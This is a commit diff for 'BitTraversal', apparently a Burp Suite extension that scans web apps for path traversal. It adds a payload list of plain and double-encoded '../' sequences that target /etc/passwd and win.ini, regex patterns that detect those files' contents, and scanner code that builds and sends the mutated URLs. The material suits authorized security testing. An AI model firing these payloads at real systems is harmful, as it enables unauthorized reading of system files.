Skip to content

Commit 123bd01

Browse files
BitTheByteBitTheByte
committed
v0.1.1
1 parent cc4a84d commit 123bd01

10 files changed

+131
-54
lines changed

‎list/payloads.list

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd
2+
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd
3+
/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
4+
/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/etc/passwd
5+
/../../../../../../../../../../../../../../etc/passwd
6+
../../../../../../../../../../../../../../etc/passwd
7+
/../../../../../../../../../../../../../../windows/win.ini
8+
../../../../../../../../../../../../../../windows/win.ini

‎list/regex.list

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
root:x:\d*:\d*:root
2+
\[fonts\]

‎src/burp/BurpExtender.java

+1-4
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,10 @@
11
package burp;
22

33
import scanner.Executor;
4-
import utils.UrlUtils;
54

65
import java.io.IOException;
76
import java.io.PrintWriter;
8-
import java.net.MalformedURLException;
97
import java.net.URISyntaxException;
10-
import java.net.URL;
118

129
public class BurpExtender implements burp.IBurpExtender, burp.IHttpListener
1310
{
@@ -25,7 +22,7 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
2522
stdout = new PrintWriter(callbacks.getStdout(), true);
2623
stderr = new PrintWriter(callbacks.getStderr(),true);
2724
helpers = callbacks.getHelpers();
28-
stdout.println("0.1v - loaded");
25+
stdout.println("0.1.1v - loaded");
2926

3027
callbacks.registerHttpListener(this);
3128
}

‎src/scanner/Detector.java

+35-10
Original file line numberDiff line numberDiff line change
@@ -3,30 +3,55 @@
33

44
import burp.BurpExtender;
55
import burp.IHttpRequestResponse;
6+
import utils.UrlUtils;
7+
8+
import java.io.IOException;
69
import java.net.MalformedURLException;
10+
import java.net.URL;
11+
import java.util.HashMap;
12+
import java.util.Map;
13+
import java.util.regex.Pattern;
714

8-
import static burp.BurpExtender.stdout;
15+
import static burp.BurpExtender.stderr;
916

1017
public class Detector {
11-
private static String[] staticRegex = {
12-
// ".*?",
13-
"root:x:\\d*:\\d*:root"
14-
};
18+
private static String[] staticRegex;
1519

20+
static {
21+
try {
22+
staticRegex = UrlUtils.getHTTPContent("https://raw.githubusercontent.com/BitTheByte/BitTraversal/master/list/regex.list").split("\n");
23+
Logger.info(staticRegex);
24+
} catch (IOException e) {
25+
stderr.println(e);
26+
}
27+
}
1628

17-
public static String staticDetection(String content){
18-
stdout.println(content);
19-
for(String match: staticRegex){
20-
if(content.replaceAll("\n","").replaceAll("\r","").matches(match))
29+
public static String staticDetection(String content) {
30+
for (String match : staticRegex) {
31+
if (Pattern.compile(match).matcher(content).find())
2132
return String.format(Template.static_match_template, match);
2233
}
2334
return null;
2435
}
2536

26-
public static String dynamicDetection(String content){
37+
38+
private static Map<String, String> responseMap = new HashMap<>();
39+
40+
public static String dynamicDetection(String url, String content) throws MalformedURLException {
41+
for (Map.Entry<String, String> entry : responseMap.entrySet()) {
42+
if (entry.getValue().equals(content) &&
43+
new URL(url).getHost().equals(new URL(entry.getKey()).getHost())) {
44+
return String.format(Template.dynamic_match_template, url, entry.getKey());
45+
}
46+
}
47+
48+
if (!responseMap.containsKey(url))
49+
responseMap.put(url, content);
50+
2751
return null;
2852
}
2953

54+
3055
public static void report(IHttpRequestResponse messageInfo, String match) throws MalformedURLException {
3156
BurpExtender.callbacks.addScanIssue(new Reporter(
3257
messageInfo,

‎src/scanner/Executor.java

+14-8
Original file line numberDiff line numberDiff line change
@@ -19,12 +19,12 @@
1919
public class Executor {
2020
public static String CRLF = "\r\n";
2121

22-
private IHttpRequestResponse getHTTPResponse(IHttpRequestResponse basepair, String url, List<String> headers) throws IOException, NoSuchFieldException {
22+
private IHttpRequestResponse getHTTPResponse(IHttpRequestResponse basepair, String url, List<String> headers) throws IOException {
2323
HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection();
2424
StringBuilder request = new StringBuilder();
2525

26-
for (String line: headers){
27-
if(line.contains("HTTP/")){
26+
for (String line : headers) {
27+
if (line.contains("HTTP/")) {
2828
request.append(String.format("%s %s HTTP/1.1%s",
2929
helpers.analyzeRequest(basepair).getMethod(),
3030
new URL(url).getPath(),
@@ -62,13 +62,19 @@ public void Scan(IHttpRequestResponse messageInfo) throws IOException, URISyntax
6262
URL baseURL = UrlUtils.clearSemiColon(UrlUtils.clearQueryParameters(requestURL));
6363

6464
for (String mutation: Mutator.mutate(baseURL)){
65-
try{
65+
try {
6666
IHttpRequestResponse pair = this.getHTTPResponse(messageInfo, mutation, requestInfo.getHeaders());
67-
String staticMatch = Detector.staticDetection(new String(pair.getResponse(), StandardCharsets.UTF_8));
68-
// String dynamicMatch = Detector.dynamicDetection(content);
69-
if (staticMatch != null){
67+
68+
String content = new String(pair.getResponse(), StandardCharsets.UTF_8);
69+
String staticMatch = Detector.staticDetection(content);
70+
//String dynamicMatch = Detector.dynamicDetection(mutation, content);
71+
72+
if (staticMatch != null)
7073
Detector.report(pair, staticMatch);
71-
}
74+
75+
//if (dynamicMatch != null)
76+
// Detector.report(pair, dynamicMatch);
77+
7278
}catch (Exception e){
7379
stderr.println(e);
7480
}

‎src/scanner/Logger.java

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package scanner;
2+
3+
import burp.BurpExtender;
4+
5+
import java.util.List;
6+
7+
class Logger {
8+
public static void info(List<String> msg) {
9+
for (String line : msg) {
10+
BurpExtender.stdout.println(line);
11+
}
12+
}
13+
14+
public static void info(String[] msg) {
15+
for (String line : msg) {
16+
BurpExtender.stdout.println(line);
17+
}
18+
}
19+
20+
public static void info(String msg) {
21+
BurpExtender.stdout.println(msg);
22+
}
23+
}

‎src/scanner/Mutator.java

+18-23
Original file line numberDiff line numberDiff line change
@@ -2,37 +2,32 @@
22

33
import utils.UrlUtils;
44

5-
import java.io.BufferedReader;
65
import java.io.IOException;
7-
import java.io.InputStreamReader;
8-
import java.net.HttpURLConnection;
9-
import java.net.URI;
106
import java.net.URL;
117
import java.util.ArrayList;
128
import java.util.Arrays;
139
import java.util.List;
1410

15-
import static burp.BurpExtender.helpers;
16-
import static burp.BurpExtender.stdout;
11+
import static burp.BurpExtender.stderr;
1712

1813
public class Mutator {
19-
static List<String> staticPayloads = new ArrayList<>();
20-
21-
private static void populateStaticPayloads() throws IOException {
22-
if (!staticPayloads.isEmpty())
23-
return;
24-
25-
HttpURLConnection conn = (HttpURLConnection) new URL("https://pastebin.com/raw/n0ayCmxr").openConnection();
26-
BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
27-
for (String line = br.readLine(); line != null; line = br.readLine()) {
28-
staticPayloads.add(line);
14+
static List<String> staticPayloads;
15+
16+
static {
17+
try {
18+
staticPayloads = Arrays.asList(UrlUtils.getHTTPContent("https://raw.githubusercontent.com/BitTheByte/BitTraversal/master/list/payloads.list").split("\n"));
19+
Logger.info(staticPayloads);
20+
} catch (IOException e) {
21+
stderr.println(e);
2922
}
30-
br.close();
31-
conn.disconnect();
3223
}
3324

34-
private static List<String> staticMutator(URL url) throws IOException {
35-
populateStaticPayloads();
25+
private static List<String> dynamicMutator(URL url) {
26+
throw new RuntimeException("not implemented");
27+
}
28+
29+
private static List<String> staticMutator(URL url) {
30+
3631
List<String> mutations = new ArrayList<>();
3732
String[] pathSegments = url.getPath().split("/");
3833

@@ -48,14 +43,14 @@ private static List<String> staticMutator(URL url) throws IOException {
4843
continue;
4944
for (String payload: staticPayloads){
5045
mutations.add(baseURL + payload);
51-
stdout.println(baseURL + payload);
46+
Logger.info(baseURL + payload);
5247
}
53-
baseURL.append(segment).append("/");
48+
baseURL.append(segment);
5449
}
5550
return mutations;
5651
}
5752

58-
public static List<String> mutate(URL url) throws IOException {
53+
public static List<String> mutate(URL url) {
5954
return staticMutator(url);
6055
}
6156
}

‎src/scanner/Template.java

+11-3
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,14 @@
11
package scanner;
22

3-
import sun.misc.IOUtils;
4-
53
import java.io.BufferedReader;
64
import java.io.IOException;
75
import java.io.InputStream;
86
import java.io.InputStreamReader;
9-
import java.nio.charset.StandardCharsets;
107
import java.util.stream.Collectors;
118

129
public class Template {
1310
public static String static_match_template = "";
11+
public static String dynamic_match_template = "";
1412

1513
static {
1614
try {
@@ -21,4 +19,14 @@ public class Template {
2119
e.printStackTrace();
2220
}
2321
}
22+
23+
static {
24+
try {
25+
InputStream in = Template.class.getClassLoader().getResources("templates/dynamic-report.html").nextElement().openStream();
26+
dynamic_match_template = new BufferedReader(new InputStreamReader(in))
27+
.lines().collect(Collectors.joining("\n"));
28+
} catch (IOException e) {
29+
e.printStackTrace();
30+
}
31+
}
2432
}

‎src/templates/dynamic-report.html

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<!-- TODO -->

‎src/utils/UrlUtils.java

+18-6
Original file line numberDiff line numberDiff line change
@@ -3,18 +3,18 @@
33
import burp.IHttpRequestResponse;
44
import burp.IHttpService;
55

6+
import java.io.BufferedReader;
7+
import java.io.IOException;
8+
import java.io.InputStreamReader;
69
import java.net.*;
7-
import java.util.Iterator;
810

911
public class UrlUtils {
1012
public static String CRLF = "\r\n";
1113

1214
public static String dumpHeaders(HttpURLConnection conn) {
1315
StringBuilder sb = new StringBuilder();
14-
Iterator<?> it = conn.getHeaderFields().keySet().iterator();
15-
while (it.hasNext()) {
16-
String name = (String) it.next();
17-
if(name != null){
16+
for (String name : conn.getHeaderFields().keySet()) {
17+
if (name != null) {
1818
sb.append(name);
1919
sb.append(": ");
2020
}
@@ -25,8 +25,20 @@ public static String dumpHeaders(HttpURLConnection conn) {
2525
return sb.toString();
2626
}
2727

28+
public static String getHTTPContent(String url) throws IOException {
29+
HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
30+
BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
31+
StringBuilder response = new StringBuilder();
32+
for (String line = br.readLine(); line != null; line = br.readLine()) {
33+
response.append(line).append("\n");
34+
}
35+
br.close();
36+
conn.disconnect();
37+
return response.toString();
38+
}
39+
2840

29-
public static URL clearQueryParameters(URL url) throws URISyntaxException, MalformedURLException {
41+
public static URL clearQueryParameters(URL url) throws URISyntaxException, MalformedURLException {
3042
URI uri = url.toURI();
3143
return new URI(uri.getScheme(),
3244
uri.getAuthority(),

0 commit comments

Comments
 (0)